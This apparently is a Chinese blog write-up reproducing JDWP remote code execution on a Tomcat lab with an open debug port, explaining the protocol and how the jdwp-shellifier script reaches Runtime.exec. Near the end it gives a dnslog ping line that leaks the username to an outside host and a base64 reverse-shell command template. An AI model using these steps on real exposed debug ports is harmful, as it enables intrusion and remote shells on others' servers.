JDWP RCE 复现

JDWP协议

JDWP(Java Debug Wire Protocol Transport Interface)协议是用于调试器(debugger)和被调试的Java虚拟机(Target VM)之前的通信协议。如果一个应用在本地调试没出问题,而在线上出现了问题,就可以开启JDWP远程调试来解决问题,然后就有可能被利用。

JDWP是一个基于二进制包的网络协议。
JDWP大致分为两个阶段:握手(handshake)和应答。


握手结束后,Debugger就可以向Target VM发送命令了。JDWP是通过命令包(command packet)和回复包(reply packet)来进行通信的。JDWP本身是无状态的,因此对命令出现的顺序并不受限制。

Debugger通过命令包获取Target VM 的信息以及控制程序的执行,Target VM通过发送命令包通知Debugger某些事件的发生,如到达断点或是产生异常。回复包是用来回复命令包的,表示该命令是否执行成功。如果执行成功,回复包还可能包含有命令包请求的数据,如变量的值等。而从Target VM发出的命令包是不需要回复的。

另外,JDWP是异步的,不需要等待接收到前一个命令包的回复包就可以发送下一个命令包。

我们可以根据下图给定的包格式来构建命令包和解析回复包

其中Flags这个字段主要用于区分发送的数据包是哪种类型,0x00代表命令包,0x80代表回复包,具体的协议传输细则可以参考oracle官网链接,文后已附上。

环境搭建

基于Tomcat远程调试搭建jdwp演示环境,环境配置如下所示:

tomcat-version: 7.0.106
OS: win7 x64
java-version: 1.8.0_212

这里我使用的是非安装版的Tomcat,即官网上的zip版本。
我们需要修改bin目录下的startup.bat文件,在文件开头插入一句话即可:

SET CATALINA_OPTS=-server -Xdebug -Xnoagent -Djava.compiler=NONE -Xrunjdwp:transport=dt_socket,server=y,suspend=n,address=8000


然后cmd运行startup.bat就可以在8000端口上开启JDWP协议了。

原理

先说几个知识点,在文后的Oracle链接中可以查到:

  1. VirtualMachine/IDSizes是JVM处理的数据结构的大小,不同的机器值可能不同,由于nmap的jdwp-exec.nse脚本使用了硬编码,所以脚本执行不成功。
  2. ClassType/InvokeMethod用于调用一个静态方法
  3. ObjectReference/InvokeMethod用于在JVM中调用一个实例化对象的方法
  4. Event/Composite会强制JVM对命令声明的特定行为做出回应。该命令是调试的关键,设置断点、通过线程单步调试,提供访问/修改值时的通知。

脚本jdwp-shellifier的运行过程梳理如下:

  1. 与Target VM 握手,建立连接
  2. 向JVM发出请求获取IDSizes
  3. 向JVM发出请求获取JVM的版本信息
  4. 向JVM发出请求获取所有的类信息,其中包含有referenceTypeID

  1. 从得到的类信息中提取出java.lang.Runtime类的referenceTypeID
  2. 由于Runtime类只能通过getRuntime方法获取,因此还需要向服务器请求获取方法信息
  3. 从得到的方法信息中提取出getRuntime方法的referenceTypeID
  4. 给需要指定的方法添加断点,默认是java.net.ServerSocket.accept,因为在windows平台下进行jdwp调试只能使用socket类型,且该函数调用比较频繁。
  5. 当断点触发时,我们就可以得到被调试方法所运行的线程ID
  6. 清除断点并恢复线程运行
  7. 创建执行命令的字符串对象,并通过回复包获取该对象ID:
  8. 调用方法命令调用静态方法getRuntime并获取对应的对象ID:
  9. 上次请求过方法信息,从之前请求的方法信息中可获取到exec方法的referenceTypeID
  10. 通过对象的方法调用命令调用exec函数就可以执行命令了:

说明

以上主要都是围绕Oracle官方的jdwp协议的API说明在执行,但是执行命令的关键是需要找到thredID、类和方法的ID,获取不到ID就实现不了对应的功能。比如我想在执行命令之前先看下服务器的IP,但是查了下获取不到getLocalHost等其他几个获取IP的方法:

由于默认使用的java.net.ServerSocket.accept调试等待时间较长,可以使用java.lang.String.indexOf替换掉。

读取执行命令的结果的java写法比较麻烦,可以直接使用dnslog来验证命令是否执行成功,在windows平台可以执行cmd /c ping -n 1 %USERNAME%.[dnslog.cn],linux平台可以执行bash -c {echo,[反弹shell命令的base64编码]}|{base64,-d}|{bash,-i}
贴一下命令执行成功的截图:

这里不写cmd /c的话可能导致命令执行不成功哦,另外在cmd下直接执行的时候会自动将%USERNAME%替换为自己主机的名字。

执行结果:

另外,由于执行命令前不知道系统是linu还是windows,如果执行的参数中不带有cmd,程序会自动调用java.lang.System.getProperties方法获取系统信息,具体如下(部分参数我注释掉了,如有需要可自行修改):

附上另外两个利用方式:

参考链接

posted @ 2021-02-03 11:37  flashine  阅读(2266)  评论(0编辑  收藏  举报